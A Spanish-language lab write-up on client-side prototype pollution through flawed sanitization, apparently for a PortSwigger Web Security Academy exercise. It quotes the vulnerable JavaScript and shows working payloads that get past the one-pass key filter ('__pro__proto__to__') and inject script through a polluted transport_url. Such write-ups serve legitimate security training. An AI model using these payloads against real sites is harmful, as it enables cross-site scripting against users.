> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Contaminación de prototipos del lado del cliente mediante sanitización defectuosa

Notas sobre Contaminación de prototipos del lado del cliente mediante sanitización defectuosa para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contex

### Contaminación de prototipo del lado del cliente mediante una sanitización defectuosa

#### (1) Contexto e idea general

La aplicación lee la configuración de la URL y luego la convierte en un objeto JavaScript mediante `deparam(...)`:

* Construye `config = { params: deparam(...) }`
* Luego usa `config.transport_url` para cargar un `<script src="...">`

Para evitar la contaminación del prototipo, los desarrolladores añadieron `sanitizeKey()` que elimina las siguientes subcadenas en las claves\:/ `constructor`, `__proto__`, `prototype`.

Problema: esta sanitización es solo un **replaceAll**. Si **cortas** la palabra prohibida en pedazos, después del reemplazo puede **reconstruirse**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("No se pudo guardar la consulta");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Fuente: eludir el filtro y contaminar `Object.prototype`

El filtro elimina `__proto__` Si está presente tal cual. / Se reconstruye poniendo `__proto__` **en medio** de una clave más grande, de modo que, tras la eliminación, la clave final quede exactamente `__proto__`.

Carga útil:

```javascript
?__pro__proto__to__[foo]=bar
```

Después de la sanitización:

* `__pro__proto__to__` → (eliminación de `__proto__`) → `__proto__`

Así que es como:

* `?__proto__[foo]=bar` -> contaminación global del prototipo

Comprueba en la consola:

```javascript
console.log({}.foo)
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-546fe8d5be3955db7a0141ecbd6987dfef057fc0%2Fimage%20(120).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Explotación final: activar `alert()`

`transport_url` está contaminado con un `esquema data:` que ejecuta JavaScript cuando se carga el script:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d617c524d392efe065d704bfad6d18c35226c81%2Fimage%20(121).png?alt=media" alt=""><figcaption></figcaption></figure>


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